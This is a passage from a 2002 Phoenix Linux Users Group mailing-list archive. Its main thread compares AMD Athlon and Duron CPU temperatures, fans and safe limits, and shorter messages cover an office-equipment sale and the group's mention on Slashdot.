Adams wrote: > Although I have updated my ad on www.forsale.unitywave.com, it doesn't > allow for the amount of items that I have to list. > > So here is the list: http://www.unitywave.com/~office/index.html it's in > a decent printable form as well for those that want to print it. > > Call me with offers. Can someone please come get the whole lot? Pricing > is pretty rock bottom, but I will take $225 for the whole lot. We do not > deliver. I need the space in the next month, so if we cannot sell it here, > it might be at the next swap meet or a garage sale in September. > > Kimi Adams > Unity Wave > 602-375-5363 > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 17:59:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Joel Dudley) Date: Mon, 17 Jun 2002 10:59:37 -0700 Subject: PLUG is famous! Message-ID: <7D2FB294FA311F4299D03CC8D390437071657B@mainex5.asu.edu> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --Boundary_(ID_KA/Kr2oaTCEbjUfxIdmqvg) Content-type: text/plain; charset="iso-8859-1" Can the servers withstand the slashdot effect? batten down the zombie processes, release the squid cache! Man I'm a dork. Joel Dudley Faculty Research Associate Arizona State University Kumar Laboratory of Evolutionary Functional Genomics http://lsweb.la.asu.edu/skumar/ -----Original Message----- From: Blake Barnett [mailto:blake.barnett@developonline.com] Sent: Monday, June 17, 2002 10:48 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: PLUG is famous! Well... sort of: http://slashdot.org/articles/02/06/17/1651231.shtml?tid=103 Geek famous anyway.. hehe -- Blake Barnett (bdb) Sr. Unix Administrator DevelopOnline.com office: 480-377-6816 Learning is a skill, you get better at it with practice. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --Boundary_(ID_KA/Kr2oaTCEbjUfxIdmqvg) Content-type: text/html; charset="iso-8859-1" Content-transfer-encoding: quoted-printable RE: PLUG is famous!

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Well... sort of:
http://slashdot.org/articles/02/06/17/1651231.shtml?ti= d=3D103

Geek famous anyway.. hehe
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= --Boundary_(ID_KA/Kr2oaTCEbjUfxIdmqvg)-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 17:58:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Mon, 17 Jun 2002 10:58:15 -0700 Subject: CPU Temperature Monitoring & Limits Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4DE8@azmscorp01.corp.azms> Any thing cooling those drives? Larry -----Original Message----- From: jon@unfm00.com [mailto:jon@unfm00.com] Sent: Monday, June 17, 2002 10:05 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: CPU Temperature Monitoring & Limits Man I hate to get started on this subject. I built a AthlonXP with the problem below: "amd 2100+ asus a7v333 pc-3000 512mb cl 2.0 @2,2,2,5T gforce 3 PNY (not a TI card) 4 ata/133 Maxtor 40g drives two are Raid level 0 volcano 7+ Heat sink fan 6500rpm/copper heat sink 4 intake fans three exit fans including power supply 350watt power supply. latest bios 1007 artic silver goop Processor runs at 1755mhz due to a factory overclock of 5mhz by Asus. At any rate the box is fast, very fast, but my question is its running hot, and no mater what I have tried it still runs hot. Idle about 57°c and 63°c full load. The threshold for the Amd xp 2100+ is 90°c. so this is what I have done. I have tried two different Asus a7v333 mobo, same temp readings, two different 2100+ processors, two different 350watt power supplies, i have tried the oem heat sink & fan that came with it and my volcano 7+ runs faster and cooler, still hot. tested my friends 1800+ and he ran in the 40s with my setup. My room Temp is about 80-82°F. I replaced all the fans in the chase with 2600rpm 80x80xwhatever fans, that supplies a little more airflow along with the power supply that has the extra fan in it. All my cables are tied off and out of the way for maximum air flow. But the damn thing runs hot. I'm reasonably sure that I'm not overclocking anything. vcore 1.75 cpu/pcibus 133/33 cpu/mem raio 4:5" After I did some research, Asus stands behind thier boards and said any temp below 70°c is fine. I'm still not to happy about my temp being in the 60s. But I have been running this computer for over a 4week and I have not had it crash yet, even after 8hours of compiling. http://unixmafia.port5.com/news/00211001.html <--- this guy had the same problem just with an older board, and I have that board at it to runs at 60°c all the time. Does anyone else run any asus mobo? jon Original Message: ----------------- From: George Toft george@georgetoft.com Date: Mon, 17 Jun 2002 07:26:44 -0400 To: plug-discuss@lists.plug.phoenix.az.us Subject: CPU Temperature Monitoring & Limits Where can I find recommended CPU temperature limits for an AMD Duron? I have the AMD Duron Processor 3 Technical Specification Sheets, and all it says is "Maximum die temperature 90C." Recognizing there is a thermal gradient between the CPU and the temperature sensor, does anyone have any ideas what the maximum temperature I should experience for a healthy PC? I have not found any concrete numbers on the 'Net. I configured "sensors" yesterday, and wrote a script to log system load and CPU temp over time, which results in this output: 06-17-2002 06:47:00 0.09 95.5°F TX: 271kbps RX: 150kbps 06-17-2002 06:48:00 0.19 96.1°F TX: 270kbps RX: 194kbps 06-17-2002 06:49:00 0.13 96.1°F TX: 271kbps RX: 185kbps 06-17-2002 06:50:01 0.21 96.1°F TX: 264kbps RX: 201kbps 06-17-2002 06:51:00 0.24 96.4°F TX: 201kbps RX: 240kbps 06-17-2002 06:52:00 0.37 97.2°F TX: 270kbps RX: 193kbps 06-17-2002 06:53:01 1.17 103.5°F TX: 272kbps RX: 176kbps 06-17-2002 06:54:00 0.76 105.3°F TX: 269kbps RX: 204kbps 06-17-2002 06:55:01 0.66 107.2°F TX: 259kbps RX: 209kbps 06-17-2002 06:56:01 0.84 110.1°F TX: 272kbps RX: 200kbps 06-17-2002 06:57:01 1.85 111.4°F TX: 270kbps RX: 177kbps 06-17-2002 06:58:01 1.62 112.3°F TX: 269kbps RX: 183kbps 06-17-2002 06:59:01 1.01 113.4°F TX: 220kbps RX: 218kbps 06-17-2002 07:00:02 0.81 113.7°F TX: 222kbps RX: 212kbps (As you can see, I also incorporated tracking network traffic from a previous thread as well. This script is located on my web site.) I then ran the machine ragged playing an AVI movie in full-screen mode for over 1.5 hours. The CPU temperature reached 127F and held steady. I set my alarm at 129F and reset (hysteresis) at 127F. Do these sound like reasonable values? Obviously, cooler is better, but I don't have $200 for a liquid cooling system. Thanks in advance. George -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 17:58:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 17 Jun 2002 10:58:23 -0700 (PDT) Subject: PLUG is famous! In-Reply-To: <1024336060.29230.2.camel@shiva.soulmachine.com> Message-ID: Now if we could get some news organizations (non-geek) to write about this, we'd be set... start off with local news, which would get picked up by national news... there'd be so much publicity surrounding this that Maricopa County would have a REALLY hard time ignoring the laws. :-) ~M On 17 Jun 2002, Blake Barnett wrote: > Well... sort of: > http://slashdot.org/articles/02/06/17/1651231.shtml?tid=103 > > Geek famous anyway.. hehe > -- > Blake Barnett (bdb) > Sr. Unix Administrator > DevelopOnline.com office: 480-377-6816 > > Learning is a skill, you get better at it with practice. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 18:09:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Mon, 17 Jun 2002 11:09:31 -0700 Subject: CPU Temperature Monitoring & Limits References: <2AAC72149C827944B96C854ABD0BCAFF1A4DE8@azmscorp01.corp.azms> Message-ID: <008a01c2162a$20feeb50$6501a8c0@drghastly> I have almost the exact same set up you do, except I have a 1800+. Your CPU is running at normal temperature. They just run freaking hot as hell. The only thing you can do is water cool it to get it to a lower temp. Otherwise your pretty much SOL. That is the reason, in fact, I am switching to a P4 1.6B (cause you can OC the hell out of it) at it runs about 90 degrees farenheit, standard. I do not need a heat lamp for a PC. ----- Original Message ----- From: "Larry Lauer" To: Sent: Monday, June 17, 2002 10:58 AM Subject: RE: CPU Temperature Monitoring & Limits > Any thing cooling those drives? > > Larry > > -----Original Message----- > From: jon@unfm00.com [mailto:jon@unfm00.com] > Sent: Monday, June 17, 2002 10:05 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: RE: CPU Temperature Monitoring & Limits > > > Man I hate to get started on this subject. I built a AthlonXP with the problem below: > > "amd 2100+ > asus a7v333 > pc-3000 512mb cl 2.0 @2,2,2,5T > gforce 3 PNY (not a TI card) > 4 ata/133 Maxtor 40g drives two are Raid level 0 > volcano 7+ Heat sink fan 6500rpm/copper heat sink > 4 intake fans three exit fans including power supply > 350watt power supply. > latest bios 1007 > artic silver goop > > Processor runs at 1755mhz due to a factory overclock of 5mhz by Asus. > > At any rate the box is fast, very fast, but my question is its running hot, and no mater what I have tried it still runs hot. Idle about 57°c and 63°c full load. The threshold for the Amd xp 2100+ is 90°c. so this is what I have done. > > I have tried two different Asus a7v333 mobo, same temp readings, two different 2100+ processors, two different 350watt power supplies, i have tried the oem heat sink & fan that came with it and my volcano 7+ runs faster and cooler, still hot. tested my friends 1800+ and he ran in the 40s with my setup. My room Temp is about 80-82°F. I replaced all the fans in the chase with 2600rpm 80x80xwhatever fans, that supplies a little more airflow along with the power supply that has the extra fan in it. All my cables are tied off and out of the way for maximum air flow. But the damn thing runs hot. I'm reasonably sure that I'm not overclocking anything. > vcore 1.75 > cpu/pcibus 133/33 > cpu/mem raio 4:5" > > After I did some research, Asus stands behind thier boards and said any temp below 70°c is fine. I'm still not to happy about my temp being in the 60s. But I have been running this computer for over a 4week and I have not had it crash yet, even after 8hours of compiling. > > http://unixmafia.port5.com/news/00211001.html <--- this guy had the same problem just with an older board, and I have that board at it to runs at 60°c all the time. > > Does anyone else run any asus mobo? > > jon > > Original Message: > ----------------- > From: George Toft george@georgetoft.com > Date: Mon, 17 Jun 2002 07:26:44 -0400 > To: plug-discuss@lists.plug.phoenix.az.us > Subject: CPU Temperature Monitoring & Limits > > > Where can I find recommended CPU temperature limits for an AMD Duron? I > have the AMD Duron Processor 3 Technical Specification Sheets, and all > it says is "Maximum die temperature 90C." Recognizing there is a > thermal gradient between the CPU and the temperature sensor, does anyone > have any ideas what the maximum temperature I should experience for a > healthy PC? I have not found any concrete numbers on the 'Net. > > I configured "sensors" yesterday, and wrote a script to log system load > and CPU temp over time, which results in this output: > 06-17-2002 06:47:00 0.09 95.5°F TX: 271kbps RX: 150kbps > 06-17-2002 06:48:00 0.19 96.1°F TX: 270kbps RX: 194kbps > 06-17-2002 06:49:00 0.13 96.1°F TX: 271kbps RX: 185kbps > 06-17-2002 06:50:01 0.21 96.1°F TX: 264kbps RX: 201kbps > 06-17-2002 06:51:00 0.24 96.4°F TX: 201kbps RX: 240kbps > 06-17-2002 06:52:00 0.37 97.2°F TX: 270kbps RX: 193kbps > 06-17-2002 06:53:01 1.17 103.5°F TX: 272kbps RX: 176kbps > 06-17-2002 06:54:00 0.76 105.3°F TX: 269kbps RX: 204kbps > 06-17-2002 06:55:01 0.66 107.2°F TX: 259kbps RX: 209kbps > 06-17-2002 06:56:01 0.84 110.1°F TX: 272kbps RX: 200kbps > 06-17-2002 06:57:01 1.85 111.4°F TX: 270kbps RX: 177kbps > 06-17-2002 06:58:01 1.62 112.3°F TX: 269kbps RX: 183kbps > 06-17-2002 06:59:01 1.01 113.4°F TX: 220kbps RX: 218kbps > 06-17-2002 07:00:02 0.81 113.7°F TX: 222kbps RX: 212kbps > > (As you can see, I also incorporated tracking network traffic from a > previous thread as well. This script is located on my web site.) > > I then ran the machine ragged playing an AVI movie in full-screen mode > for over 1.5 hours. The CPU temperature reached 127F and held steady. > I set my alarm at 129F and reset (hysteresis) at 127F. Do these sound > like reasonable values? Obviously, cooler is better, but I don't have > $200 for a liquid cooling system. > > Thanks in advance. > > George > > -- > If you feel you have received a virus from me, please read > http://www.georgetoft.com/virus.html > because it wasn't me! > -- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -------------------------------------------------------------------- > mail2web - Check your email from the web at > http://mail2web.com/ . > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 18:31:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Mon, 17 Jun 2002 11:31:44 -0700 (MST) Subject: PLUG on Slashdot In-Reply-To: Message-ID: Perhaps the Arizona Center for Law in the Public Interest would have something to say about enforcement of current policy and law? http://www.aclpi.org/ They have a bit of a reputation fighting for enforcement of ignored laws... ---------------------------- On Mon, 17 Jun 2002, Matt Alexander wrote: I just noticed on Slashdot this morning that we're featured in regards to the Maricopa County thread: http://slashdot.org ________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 18:40:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (jon@unfm00.com) Date: Mon, 17 Jun 2002 14:40:55 -0400 Subject: CPU Temperature Monitoring & Limits Message-ID: my four intake 80mm fans are blowing right on them! plus my Raid drives are in hotswap bays with fans in them. Original Message: ----------------- From: Larry Lauer llauer@azmotorsports.com Date: Mon, 17 Jun 2002 10:58:15 -0700 To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: CPU Temperature Monitoring & Limits Any thing cooling those drives? Larry -----Original Message----- From: jon@unfm00.com [mailto:jon@unfm00.com] Sent: Monday, June 17, 2002 10:05 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: CPU Temperature Monitoring & Limits Man I hate to get started on this subject. I built a AthlonXP with the problem below: "amd 2100+ asus a7v333 pc-3000 512mb cl 2.0 @2,2,2,5T gforce 3 PNY (not a TI card) 4 ata/133 Maxtor 40g drives two are Raid level 0 volcano 7+ Heat sink fan 6500rpm/copper heat sink 4 intake fans three exit fans including power supply 350watt power supply. latest bios 1007 artic silver goop Processor runs at 1755mhz due to a factory overclock of 5mhz by Asus. At any rate the box is fast, very fast, but my question is its running hot, and no mater what I have tried it still runs hot. Idle about 57°c and 63°c full load. The threshold for the Amd xp 2100+ is 90°c. so this is what I have done. I have tried two different Asus a7v333 mobo, same temp readings, two different 2100+ processors, two different 350watt power supplies, i have tried the oem heat sink & fan that came with it and my volcano 7+ runs faster and cooler, still hot. tested my friends 1800+ and he ran in the 40s with my setup. My room Temp is about 80-82°F. I replaced all the fans in the chase with 2600rpm 80x80xwhatever fans, that supplies a little more airflow along with the power supply that has the extra fan in it. All my cables are tied off and out of the way for maximum air flow. But the damn thing runs hot. I'm reasonably sure that I'm not overclocking anything. vcore 1.75 cpu/pcibus 133/33 cpu/mem raio 4:5" After I did some research, Asus stands behind thier boards and said any temp below 70°c is fine. I'm still not to happy about my temp being in the 60s. But I have been running this computer for over a 4week and I have not had it crash yet, even after 8hours of compiling. http://unixmafia.port5.com/news/00211001.html <--- this guy had the same problem just with an older board, and I have that board at it to runs at 60°c all the time. Does anyone else run any asus mobo? jon Original Message: ----------------- From: George Toft george@georgetoft.com Date: Mon, 17 Jun 2002 07:26:44 -0400 To: plug-discuss@lists.plug.phoenix.az.us Subject: CPU Temperature Monitoring & Limits Where can I find recommended CPU temperature limits for an AMD Duron? I have the AMD Duron Processor 3 Technical Specification Sheets, and all it says is "Maximum die temperature 90C." Recognizing there is a thermal gradient between the CPU and the temperature sensor, does anyone have any ideas what the maximum temperature I should experience for a healthy PC? I have not found any concrete numbers on the 'Net. I configured "sensors" yesterday, and wrote a script to log system load and CPU temp over time, which results in this output: 06-17-2002 06:47:00 0.09 95.5°F TX: 271kbps RX: 150kbps 06-17-2002 06:48:00 0.19 96.1°F TX: 270kbps RX: 194kbps 06-17-2002 06:49:00 0.13 96.1°F TX: 271kbps RX: 185kbps 06-17-2002 06:50:01 0.21 96.1°F TX: 264kbps RX: 201kbps 06-17-2002 06:51:00 0.24 96.4°F TX: 201kbps RX: 240kbps 06-17-2002 06:52:00 0.37 97.2°F TX: 270kbps RX: 193kbps 06-17-2002 06:53:01 1.17 103.5°F TX: 272kbps RX: 176kbps 06-17-2002 06:54:00 0.76 105.3°F TX: 269kbps RX: 204kbps 06-17-2002 06:55:01 0.66 107.2°F TX: 259kbps RX: 209kbps 06-17-2002 06:56:01 0.84 110.1°F TX: 272kbps RX: 200kbps 06-17-2002 06:57:01 1.85 111.4°F TX: 270kbps RX: 177kbps 06-17-2002 06:58:01 1.62 112.3°F TX: 269kbps RX: 183kbps 06-17-2002 06:59:01 1.01 113.4°F TX: 220kbps RX: 218kbps 06-17-2002 07:00:02 0.81 113.7°F TX: 222kbps RX: 212kbps (As you can see, I also incorporated tracking network traffic from a previous thread as well. This script is located on my web site.) I then ran the machine ragged playing an AVI movie in full-screen mode for over 1.5 hours. The CPU temperature reached 127F and held steady. I set my alarm at 129F and reset (hysteresis) at 127F. Do these sound like reasonable values? Obviously, cooler is better, but I don't have $200 for a liquid cooling system. Thanks in advance. George -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. 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PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 18:42:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (jon@unfm00.com) Date: Mon, 17 Jun 2002 14:42:48 -0400 Subject: CPU Temperature Monitoring & Limits Message-ID: Yeah I have just about given up... It works fine and I have not crashed yet. Original Message: ----------------- From: Dr.G drghastly@cox.net Date: Mon, 17 Jun 2002 11:09:31 -0700 To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: CPU Temperature Monitoring & Limits I have almost the exact same set up you do, except I have a 1800+. Your CPU is running at normal temperature. They just run freaking hot as hell. The only thing you can do is water cool it to get it to a lower temp. Otherwise your pretty much SOL. That is the reason, in fact, I am switching to a P4 1.6B (cause you can OC the hell out of it) at it runs about 90 degrees farenheit, standard. I do not need a heat lamp for a PC. ----- Original Message ----- From: "Larry Lauer" To: Sent: Monday, June 17, 2002 10:58 AM Subject: RE: CPU Temperature Monitoring & Limits > Any thing cooling those drives? > > Larry > > -----Original Message----- > From: jon@unfm00.com [mailto:jon@unfm00.com] > Sent: Monday, June 17, 2002 10:05 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: RE: CPU Temperature Monitoring & Limits > > > Man I hate to get started on this subject. I built a AthlonXP with the problem below: > > "amd 2100+ > asus a7v333 > pc-3000 512mb cl 2.0 @2,2,2,5T > gforce 3 PNY (not a TI card) > 4 ata/133 Maxtor 40g drives two are Raid level 0 > volcano 7+ Heat sink fan 6500rpm/copper heat sink > 4 intake fans three exit fans including power supply > 350watt power supply. > latest bios 1007 > artic silver goop > > Processor runs at 1755mhz due to a factory overclock of 5mhz by Asus. > > At any rate the box is fast, very fast, but my question is its running hot, and no mater what I have tried it still runs hot. Idle about 57°c and 63°c full load. The threshold for the Amd xp 2100+ is 90°c. so this is what I have done. > > I have tried two different Asus a7v333 mobo, same temp readings, two different 2100+ processors, two different 350watt power supplies, i have tried the oem heat sink & fan that came with it and my volcano 7+ runs faster and cooler, still hot. tested my friends 1800+ and he ran in the 40s with my setup. My room Temp is about 80-82°F. I replaced all the fans in the chase with 2600rpm 80x80xwhatever fans, that supplies a little more airflow along with the power supply that has the extra fan in it. All my cables are tied off and out of the way for maximum air flow. But the damn thing runs hot. I'm reasonably sure that I'm not overclocking anything. > vcore 1.75 > cpu/pcibus 133/33 > cpu/mem raio 4:5" > > After I did some research, Asus stands behind thier boards and said any temp below 70°c is fine. I'm still not to happy about my temp being in the 60s. But I have been running this computer for over a 4week and I have not had it crash yet, even after 8hours of compiling. > > http://unixmafia.port5.com/news/00211001.html <--- this guy had the same problem just with an older board, and I have that board at it to runs at 60°c all the time. > > Does anyone else run any asus mobo? > > jon > > Original Message: > ----------------- > From: George Toft george@georgetoft.com > Date: Mon, 17 Jun 2002 07:26:44 -0400 > To: plug-discuss@lists.plug.phoenix.az.us > Subject: CPU Temperature Monitoring & Limits > > > Where can I find recommended CPU temperature limits for an AMD Duron? I > have the AMD Duron Processor 3 Technical Specification Sheets, and all > it says is "Maximum die temperature 90C." Recognizing there is a > thermal gradient between the CPU and the temperature sensor, does anyone > have any ideas what the maximum temperature I should experience for a > healthy PC? I have not found any concrete numbers on the 'Net. > > I configured "sensors" yesterday, and wrote a script to log system load > and CPU temp over time, which results in this output: > 06-17-2002 06:47:00 0.09 95.5°F TX: 271kbps RX: 150kbps > 06-17-2002 06:48:00 0.19 96.1°F TX: 270kbps RX: 194kbps > 06-17-2002 06:49:00 0.13 96.1°F TX: 271kbps RX: 185kbps > 06-17-2002 06:50:01 0.21 96.1°F TX: 264kbps RX: 201kbps > 06-17-2002 06:51:00 0.24 96.4°F TX: 201kbps RX: 240kbps > 06-17-2002 06:52:00 0.37 97.2°F TX: 270kbps RX: 193kbps > 06-17-2002 06:53:01 1.17 103.5°F TX: 272kbps RX: 176kbps > 06-17-2002 06:54:00 0.76 105.3°F TX: 269kbps RX: 204kbps > 06-17-2002 06:55:01 0.66 107.2°F TX: 259kbps RX: 209kbps > 06-17-2002 06:56:01 0.84 110.1°F TX: 272kbps RX: 200kbps > 06-17-2002 06:57:01 1.85 111.4°F TX: 270kbps RX: 177kbps > 06-17-2002 06:58:01 1.62 112.3°F TX: 269kbps RX: 183kbps > 06-17-2002 06:59:01 1.01 113.4°F TX: 220kbps RX: 218kbps > 06-17-2002 07:00:02 0.81 113.7°F TX: 222kbps RX: 212kbps > > (As you can see, I also incorporated tracking network traffic from a > previous thread as well. This script is located on my web site.) > > I then ran the machine ragged playing an AVI movie in full-screen mode > for over 1.5 hours. The CPU temperature reached 127F and held steady. > I set my alarm at 129F and reset (hysteresis) at 127F. Do these sound > like reasonable values? Obviously, cooler is better, but I don't have > $200 for a liquid cooling system. > > Thanks in advance. > > George > > -- > If you feel you have received a virus from me, please read > http://www.georgetoft.com/virus.html > because it wasn't me! > -- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -------------------------------------------------------------------- > mail2web - Check your email from the web at > http://mail2web.com/ . > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 18:49:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Mon, 17 Jun 2002 11:49:55 -0700 Subject: CPU Temperature Monitoring & Limits References: Message-ID: <00a401c2162f$c5cd8650$6501a8c0@drghastly> AMD rates the XPs as being "Perfectly Normal" at under 90 dgerees celcius I believe (Go to thier site for more info) So. yes. You have a very powerful CPU that runs VERY hot. But it should be stable. So... ----- Original Message ----- From: To: Sent: Monday, June 17, 2002 11:42 AM Subject: RE: Re: CPU Temperature Monitoring & Limits > Yeah I have just about given up... It works fine and I have not crashed yet. > > Original Message: > ----------------- > From: Dr.G drghastly@cox.net > Date: Mon, 17 Jun 2002 11:09:31 -0700 > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: CPU Temperature Monitoring & Limits > > > I have almost the exact same set up you do, except I have a 1800+. Your CPU > is running at normal temperature. They just run freaking hot as hell. The > only thing you can do is water cool it to get it to a lower temp. Otherwise > your pretty much SOL. That is the reason, in fact, I am switching to a P4 > 1.6B (cause you can OC the hell out of it) at it runs about 90 degrees > farenheit, standard. I do not need a heat lamp for a PC. > > > > ----- Original Message ----- > From: "Larry Lauer" > To: > Sent: Monday, June 17, 2002 10:58 AM > Subject: RE: CPU Temperature Monitoring & Limits > > > > Any thing cooling those drives? > > > > Larry > > > > -----Original Message----- > > From: jon@unfm00.com [mailto:jon@unfm00.com] > > Sent: Monday, June 17, 2002 10:05 AM > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: RE: CPU Temperature Monitoring & Limits > > > > > > Man I hate to get started on this subject. I built a AthlonXP with the > problem below: > > > > "amd 2100+ > > asus a7v333 > > pc-3000 512mb cl 2.0 @2,2,2,5T > > gforce 3 PNY (not a TI card) > > 4 ata/133 Maxtor 40g drives two are Raid level 0 > > volcano 7+ Heat sink fan 6500rpm/copper heat sink > > 4 intake fans three exit fans including power supply > > 350watt power supply. > > latest bios 1007 > > artic silver goop > > > > Processor runs at 1755mhz due to a factory overclock of 5mhz by Asus. > > > > At any rate the box is fast, very fast, but my question is its running > hot, and no mater what I have tried it still runs hot. Idle about 57°c and > 63°c full load. The threshold for the Amd xp 2100+ is 90°c. so this is what > I have done. > > > > I have tried two different Asus a7v333 mobo, same temp readings, two > different 2100+ processors, two different 350watt power supplies, i have > tried the oem heat sink & fan that came with it and my volcano 7+ runs > faster and cooler, still hot. tested my friends 1800+ and he ran in the 40s > with my setup. My room Temp is about 80-82°F. I replaced all the fans in the > chase with 2600rpm 80x80xwhatever fans, that supplies a little more airflow > along with the power supply that has the extra fan in it. All my cables are > tied off and out of the way for maximum air flow. But the damn thing runs > hot. I'm reasonably sure that I'm not overclocking anything. > > vcore 1.75 > > cpu/pcibus 133/33 > > cpu/mem raio 4:5" > > > > After I did some research, Asus stands behind thier boards and said any > temp below 70°c is fine. I'm still not to happy about my temp being in the > 60s. But I have been running this computer for over a 4week and I have not > had it crash yet, even after 8hours of compiling. > > > > http://unixmafia.port5.com/news/00211001.html <--- this guy had the same > problem just with an older board, and I have that board at it to runs at > 60°c all the time. > > > > Does anyone else run any asus mobo? > > > > jon > > > > Original Message: > > ----------------- > > From: George Toft george@georgetoft.com > > Date: Mon, 17 Jun 2002 07:26:44 -0400 > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: CPU Temperature Monitoring & Limits > > > > > > Where can I find recommended CPU temperature limits for an AMD Duron? I > > have the AMD Duron Processor 3 Technical Specification Sheets, and all > > it says is "Maximum die temperature 90C." Recognizing there is a > > thermal gradient between the CPU and the temperature sensor, does anyone > > have any ideas what the maximum temperature I should experience for a > > healthy PC? I have not found any concrete numbers on the 'Net. > > > > I configured "sensors" yesterday, and wrote a script to log system load > > and CPU temp over time, which results in this output: > > 06-17-2002 06:47:00 0.09 95.5°F TX: 271kbps RX: 150kbps > > 06-17-2002 06:48:00 0.19 96.1°F TX: 270kbps RX: 194kbps > > 06-17-2002 06:49:00 0.13 96.1°F TX: 271kbps RX: 185kbps > > 06-17-2002 06:50:01 0.21 96.1°F TX: 264kbps RX: 201kbps > > 06-17-2002 06:51:00 0.24 96.4°F TX: 201kbps RX: 240kbps > > 06-17-2002 06:52:00 0.37 97.2°F TX: 270kbps RX: 193kbps > > 06-17-2002 06:53:01 1.17 103.5°F TX: 272kbps RX: 176kbps > > 06-17-2002 06:54:00 0.76 105.3°F TX: 269kbps RX: 204kbps > > 06-17-2002 06:55:01 0.66 107.2°F TX: 259kbps RX: 209kbps > > 06-17-2002 06:56:01 0.84 110.1°F TX: 272kbps RX: 200kbps > > 06-17-2002 06:57:01 1.85 111.4°F TX: 270kbps RX: 177kbps > > 06-17-2002 06:58:01 1.62 112.3°F TX: 269kbps RX: 183kbps > > 06-17-2002 06:59:01 1.01 113.4°F TX: 220kbps RX: 